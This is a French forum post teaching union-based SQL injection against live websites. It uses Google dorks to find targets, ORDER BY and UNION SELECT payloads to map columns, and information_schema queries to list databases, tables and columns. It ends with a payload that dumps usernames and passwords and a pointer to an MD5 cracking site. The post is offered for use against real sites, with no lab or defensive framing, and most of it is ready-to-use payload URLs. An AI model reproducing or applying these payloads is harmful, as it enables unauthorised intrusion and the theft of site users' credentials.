P

Tutoriel Injection SQL - complet[Kali linux]

Add-on xenforo 2

Ressources et modules complémentaires pour XenForo 2

Styles xenforo 2

Styles / Thèmes et apparence pour xenforo 2

Templates xenforo 2

Codes pour modifier les templates sur xenforo 2

Section Premium

Add-on et Styles pour membre Premium
P

Tutoriel Injection SQL - complet[Kali linux]

Catégorie Catégorie informatique
Titre du sujet Titre du sujet Injection SQL - complet[Kali linux]
Auteur de la discussion Auteur de la discussion PaNdA_SOCIETY
Date de début Date de début
Réponses Réponses 1
Affichages Affichages 498
Réaction Réaction 1
Dernier message par Dernier message par AnonyNooB

PaNdA_SOCIETY

Membre

Ancien Staff
Réputation: 12%
Discussions
21
Messages
29
J'aime
75
Points
18
  1. Trouver les sites vulnérables
  2. Trouver le nombre de colonnes
  3. Connaître la version de MySQL
  4. Récupérer les bases de données
  5. Récupérer les tables
  6. Récupérer les colonnes
  7. Récupérer les noms d'utilisateurs et mots de passes

1. Trouver le nombre de colonnes

Pour trouver des sites vulnérables, vous aurez besoin de dorks.
En voici quelques un :
Code:
inurl:index.php?id=
inurl:news.php?id=
inurl:category.php?id=
inurl:games.php?id=
inurl:forum.php?tid=
inurl:newsletter.php?id=
inurl:content.php?id=
Disons que nous avons ce site :

Code:
http://site.com/news/view.php?id=828
Si nous ajoutons un ' après les chiffres, et que nous avons une erreur, alors le site est vulnérable.


2. Trouver le nombre de colonnes

Pour trouver le bon nombre de colonnes, nous allons utiliser la requête "order by", voici un exemple en reprenant le site ci-dessus.

Code:
http://site.com/news/view.php?id=828 order by 1-- (pas d'erreur)
http://site.com/news/view.php?id=828 order by 2-- (pas d'erreur)
http://site.com/news/view.php?id=828 order by 3-- (pas d'erreur)
http://site.com/news/view.php?id=828 order by 4-- (pas d'erreur)
http://site.com/news/view.php?id=828 order by 5-- (pas d'erreur)
http://site.com/news/view.php?id=828 order by 6-- (pas d'erreur)
http://site.com/news/view.php?id=828 order by 7-- (pas d'erreur)
http://site.com/news/view.php?id=828 order by 8-- (pas d'erreur)
http://site.com/news/view.php?id=828 order by 9-- (erreur)
Ce qui veut dire que notre site contient 8 colonnes.

Continuons avec la commande "union select".

Code:
http://site.com/news/view.php?id=-828 union select 1,2,3,4,5,6,7,8--
Notez bien le - avant le nombre 828, très important !

Le site va maintenant nous afficher un ou plusieurs chiffres sur la page en plus ou moins gros.
Ce sont tout simplement les colonnes qui sont vulnérables et donc qui nous confirme que le site est bien vulnérable aux SQLi.


3. Connaître la version de MySQL (version et utilisateur)

Maintenant, nous voulons connaître la version de MySQL. Si elle est >5, donc l'injection peut continuer. Si elle est <5, vous devrez deviner les tables et les colonnes, mais nous verrons cela dans un prochain tuto.

Code:
http://site.com/news/view.php?id=-828 union select 1,2,@@version,4,5,6,7,8--
Pour avoir l'utilisateur actuel, entrez cette commande :
Code:
http://site.com/news/view.php?id=-828 union select 1,2,user(),4,5,6,7,8--

4. Récupérer les bases de données

Maintenant nous allons chercher les bases de données et la base de données actuelle.
Si nous voulons voir toutes les bases de données :

Code:
http://site.com/news/view.php?id=-828 union select 1,2,group_concat(schema_name),4,5,6,7,8 from information_schema.schemata--
Si nous voulons seulement la base de données actuelle :
Code:
http://site.com/news/view.php?id=-828 union select 1,2,database(),4,5,6,7,8

5. Récupérer les tables

Maintenant nous voulons connaître les tables présentes dans la base de données. Pour cela nous allons utiliser la requête "union select".

Code:
http://site.com/news/view.php?id=-828 union select 1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema=database()--

On imagine donc que les mots de passes sont stockés dans la table bpusers, retenez-le et continuons.


6. Récupérer les colonnes

Maintenant nous voulons connaître les colonnes.

Pour cela, nous allons utiliser ce code :

Code:
http://site.com/news/view.php?id=-828 union select 1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_schema=database()--
7. Récupérer les noms d'utilisateurs/mots de passes

Pour finir, nous voulons donc récupérer les noms d'utilisateurs ainsi que leur mots de passes.

Pour cela nous allons utiliser le code :

Code:
http://site.com/news/view.php?id=-828 union select 1,2,group_concat(login,0x3a,password,0x3a),4,5,6,7,8 from bpusers--


Vous aurez donc ce que vous désirez.
Vous pourrez remarquer que quelques fois (souvent), les mots de passes sont bizarres. Ils sont tout simplement cryptés en MD5 (la plupart du temps).
Pour essayer de trouver le mot de passe, rendez-vous sur un site du style :
http://hashkiller.co.uk/

Note : Le 0x3a sera lu comme un : entre login et password, ne l'oubliez donc pas.


Vous venez d'effectuer une injection SQL avec succès, bravo

crédit : cнєrσkєє
 
Contenu similaire Les plus vues Voir plus
Retour
Haut Bas